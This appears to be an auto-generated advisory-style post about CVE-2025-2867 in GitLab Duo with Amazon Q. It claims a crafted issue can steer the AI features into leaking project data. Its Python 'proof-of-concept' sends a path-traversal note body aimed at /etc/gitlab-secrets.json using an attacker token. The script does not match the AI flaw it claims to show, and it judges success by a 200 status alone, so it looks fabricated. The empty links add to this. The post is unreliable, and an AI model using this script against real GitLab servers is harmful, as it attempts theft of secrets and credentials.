A critical security vulnerability (CVE-2025-2867) has been discovered in GitLab Duo with Amazon Q, a popular DevOps tool used for version control, continuous integration, and development of software applications. This issue affects all versions of GitLab Duo from 17.8 before 17.8.6, 17.9 before 17.9.3, and 17.10 before 17.10.1.

Exploit Details

The vulnerability is found in the AI-assisted development features of GitLab Duo with Amazon Q. Through a specifically crafted issue, an attacker could potentially manipulate the AI features to gain unauthorized access and expose sensitive project data, potentially causing a major data breach for organizations using the affected versions of the tool.

Researchers have identified that the problem lies in the software's permissions checks for sensitive system files. By exploiting this vulnerability, attackers could potentially gain access to GitLab's configuration files, thus compromising sensitive information such as private repositories, user credentials, and other valuable data.

The following code snippet demonstrates a potential proof-of-concept exploit for CVE-2025-2867

import requests

# Replace with the actual GitLab URL, project ID, and issue number
gitlab_url = "https://gitlab.example.com/";
project_id = "123"
issue_number = "1"

# Replace with an attacker's access token
attacker_access_token = "AttackerAccessToken"

# Craft a malicious issue update payload
malicious_payload = {
    "note": {
        "body": "![sensitive_data](/uploads/../../../etc/gitlab-secrets.json)"
    },
    "private_token": attacker_access_token
}

# Send the crafted issue update request to GitLab's API
response = requests.put(
    f"{gitlab_url}/api/v4/projects/{project_id}/issues/{issue_number}/notes",
    data=malicious_payload
)

# Check if the exploit succeeded
if response.status_code == 200:
    print("Exploit successful")
else:
    print("Exploit failed")

What to do if your GitLab Duo with Amazon Q is affected?
If you're using one of the affected GitLab Duo with Amazon Q versions, it's strongly recommended to immediately upgrade to the latest patched versions, which are available through the following links:

- GitLab Duo with Amazon Q 17.8.6: [https://gitlab.com/gitlab-org/gitlab/-/releases/17_8_6]()
- GitLab Duo with Amazon Q 17.9.3: [https://gitlab.com/gitlab-org/gitlab/-/releases/17_9_3]()
- GitLab Duo with Amazon Q 17.10.1: [https://gitlab.com/gitlab-org/gitlab/-/releases/17_10_1]()

Original References

For more information about CVE-2025-2867, including the initial discovery, disclosure, and timeline of events, consult the following references:

- CVE-2025-2867 - National Vulnerability Database (NVD)
- GitLab Bug Report: Unauthorized Access to Sensitive Data (NOTE: Link may be restricted due to sensitive information)
- GitLab Duo with Amazon Q Security Advisory: CVE-2025-2867

Conclusion

This critical security vulnerability in GitLab Duo with Amazon Q highlights the importance of keeping your DevOps tools secure and up-to-date. Failure to address security vulnerabilities can leave your organization exposed to cyber attacks and data breaches, leading to costly and damaging consequences.

Stay informed about new vulnerabilities by following cybersecurity news, subscribing to vendor security advisories, and leveraging tools like vulnerability scanners and SIEM solutions to stay ahead of potential security incidents.

Timeline

Published on: 03/27/2025 14:15:55 UTC
Last modified on: 03/27/2025 16:45:12 UTC